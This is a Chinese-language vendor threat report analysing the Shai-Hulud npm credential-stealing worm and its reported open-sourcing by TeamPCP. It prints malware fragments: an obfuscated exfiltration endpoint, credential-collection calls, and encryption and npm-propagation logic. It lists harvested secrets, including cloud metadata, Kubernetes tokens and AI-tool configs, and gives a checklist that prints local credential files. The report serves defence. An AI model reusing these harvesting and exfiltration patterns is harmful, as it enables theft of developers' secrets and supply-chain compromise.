返回文章库

Shai-Hulud 恶意软件深度剖析:当开源成为攻击者的“礼物”

查找币 学术研究 安全研究 Web3安全 区块链安全
Shai-Hulud 恶意软件深度剖析:当开源成为攻击者的“礼物”

查找币安全研究院

链上取证分析 | Web3 风险核验 | Web3 事件响应
以合法授权、证据保全、隐私保护和可复核流程为前提,不要求用户在线提交敏感凭证或非公开材料。

查看研究院 研究报告中心
## 引言 2026年,一个名为 **TeamPCP** 的威胁组织做出了令区块链安全社区震惊的举动:他们将自主研发的凭证窃取恶意软件 **Shai-Hulud** 的完整源代码,公开上传至 GitHub。这不是一次失误,而是一场精心策划的“能力扩散”行动。查找币威胁情报系统已在早期捕获相关样本,并多次预警。 Shai-Hulud 是一种针对开源软件供应链的重大网络安全威胁,具有自我传播能力的 npm 恶意蠕虫病毒,已感染数百个 npm 包,被认为是近年来规模最大的供应链攻击之一。本次开源事件,意味着原本可能仅限于特定组织的“专属武器”,已沦为任何人都可部署的“公共服务”。 --- ## 一、事件背景 ### 1.1 什么是 Shai-Hulud? Shai-Hulud 名字来源于科幻小说《沙丘》中的巨型沙虫,暗示其强大的“吞噬”能力——它专门针对 **GitHub Actions CI/CD 环境**,能够吞噬一切可接触到的敏感凭证,包括但不限于: - GitHub 个人访问令牌(PAT) - AWS 临时/永久凭证 - Kubernetes 服务账户 token - npm 发布令牌 - AI 工具(Claude、Cursor)的配置文件 ### 1.2 TeamPCP 的三步操作 TeamPCP 此次行动包含三个关键步骤: 1. **开源代码**:将完整源码发布到 GitHub 公共仓库 2. **使用被入侵账号**:通过被攻陷的 GitHub 账号进行传播 3. **提供部署手册**:附带完整的使用说明和配置模板 攻击者在仓库标题中公然写道: > **A Gift From TeamPCP**(TeamPCP 的礼物) 这极具嘲讽意味,也表明其意图并非隐藏,而是**最大化扩散**。 --- ## 二、技术架构深度解析 ### 2.1 四层攻击架构 Shai-Hulud 采用模块化设计,整体架构分为四层: | 层级 | 功能 | 核心文件 | |------|------|---------| | **启动层** | 入口执行与主外传目标 | `package.json`, `index.ts` | | **采集层** | 本地与云端凭证收集 | `providers/` 目录 | | **封装层** | 加密与传输 | `sender/` 目录 | | **传播层** | npm 供应链植入 | `mutator/` 目录 | ### 2.2 启动入口与主外传目标 ```json // package.json "start": "bun run ./src/index.ts" ``` ```typescript // src/index.ts const dest: SenderDestination = { domain: scramble("git-tanstack.com"), port: 443, path: scramble("router"), }; ``` **技术要点**: - 使用 `bun` 作为运行时,速度更快,隐蔽性更高 - 域名和路径使用自定义 `scramble` 函数进行混淆,避免静态检测 - 硬编码外传域 `git-tanstack.com`,冒充知名开源项目 tanstack ### 2.3 本地与云端敏感面采集 Shai-Hulud 同时面向多个敏感数据源: ```typescript // src/index.ts quickResults.push(await localProvider.execute()); quickResults.push(await shellProvider.execute()); quickResults.push(await runnerProvider.execute()); ``` **主要采集目标**: - **本地文件**:`.env`、`config.json`、SSH 密钥 - **GitHub CLI**:通过 `gh auth token` 命令获取令牌 - **AWS IMDS/IRSA**:访问 `http://169.254.169.254` 元数据服务 - **Kubernetes**:读取 `/var/run/secrets/kubernetes.io/serviceaccount/token` - **AI 工具配置**:`~/.claude/mcp.json`、`~/.cursor/config` ### 2.4 加密外传封装 ```typescript // src/sender/base.ts const encryptedKey = crypto.publicEncrypt( publicKey, aesKey ); const cipher = crypto.createCipheriv("aes-256-gcm", aesKey, iv); ``` **技术亮点**: - 使用 **RSA 公钥加密 AES 密钥**,确保只有攻击者能解密 - 采用 **AES-256-GCM** 对称加密,保证传输内容的机密性与完整性 - 加密后的数据封装为 JSON 格式,通过 HTTPS POST 发送 ### 2.5 npm 供应链植入 ```typescript // src/mutator/npm/index.ts // 一旦捕获到 npm token,立即执行: // 1. 自动发布恶意包到 npm 注册表 // 2. 修改现有包依赖关系 // 3. 添加后门代码 ``` **传播机制**: - 捕获 npm 发布令牌后,自动创建或修改 npm 包 - 在包中嵌入恶意代码,等待下游开发者安装 - 形成 **蠕虫式传播**,感染链条不断延伸 --- ## 三、攻击链分析 ### 3.1 典型攻击流程 1. **初始入侵**:通过钓鱼、凭据填充等方式获取 GitHub 账号 2. **执行恶意 Action**:在 CI/CD 流程中触发恶意工作流 3. **凭证采集**:Shai-Hulud 自动执行,收集各类敏感凭证 4. **加密外传**:将数据加密后发送至 C2 服务器 5. **供应链植入**:使用捕获的 npm 令牌发布恶意包 6. **横向扩散**:利用新凭证进一步渗透其他系统 ### 3.2 关键威胁指标(IOC) | 类型 | 指标 | |------|------| | C2 域名 | `git-tanstack.com` | | 仓库特征 | 标题包含 `A Gift From TeamPCP` | | 恶意包特征 | 使用 `bun` 运行时,包含 `scramble` 函数 | | 网络特征 | 对 443 端口的加密 POST 请求 | --- ## 四、防御建议 ### 4.1 针对开发团队 - **最小权限原则**:限制 CI/CD 环境中的网络访问权限 - **轮换凭证**:使用短期令牌,避免使用永久凭证 - **审计依赖**:定期检查 npm 依赖,使用查找币监控系统进行实时检测 ### 4.2 针对安全团队 - **部署端点检测**:监控 `gh auth token`、AWS IMDS 访问等异常行为 - **网络隔离**:CI/CD 环境应隔离出站流量,仅允许白名单域名 - **威胁情报联动**:接入查找币威胁情报系统,获取最新 IOCs ### 4.3 应急检查清单 ```bash # 检查 GitHub 令牌 gh auth status # 检查 npm 令牌 npm token list # 检查 Claude 配置 cat ~/.claude/mcp.json # 检查 AWS 凭证 cat ~/.aws/credentials ``` --- ## 五、总结 Shai-Hulud 开源事件是 2026 年最重要的网络安全事件之一: | 维度 | 说明 | |------|------| | **性质** | 专业级凭证窃取工具,针对 CI/CD 环境 | | **开发者** | 具备高水平能力,使用多个伪装身份,可能与俄语地区有关 | | **影响** | 从“专属武器”变成“公共服务”,任何人可部署 | | **时间** | 2025-2026 年开发,极新威胁 | | **追踪** | TeamPCP 组织,猫主题,多个关联账号 | > **核心警示**:开源恶意软件 = 潘多拉魔盒已打开。从小团伙到群狼的时代来了,攻击者已经在行动,你准备好了吗? --- **本文由查找币安全团队整理发布** *参考来源:GitHub 公开仓库、查找币威胁情报系统、查找币 Agent AI 驱动分析* *查找币安全团队将持续监控相关威胁,欢迎通过官方渠道反馈与交流。*
在文章库中查看和回复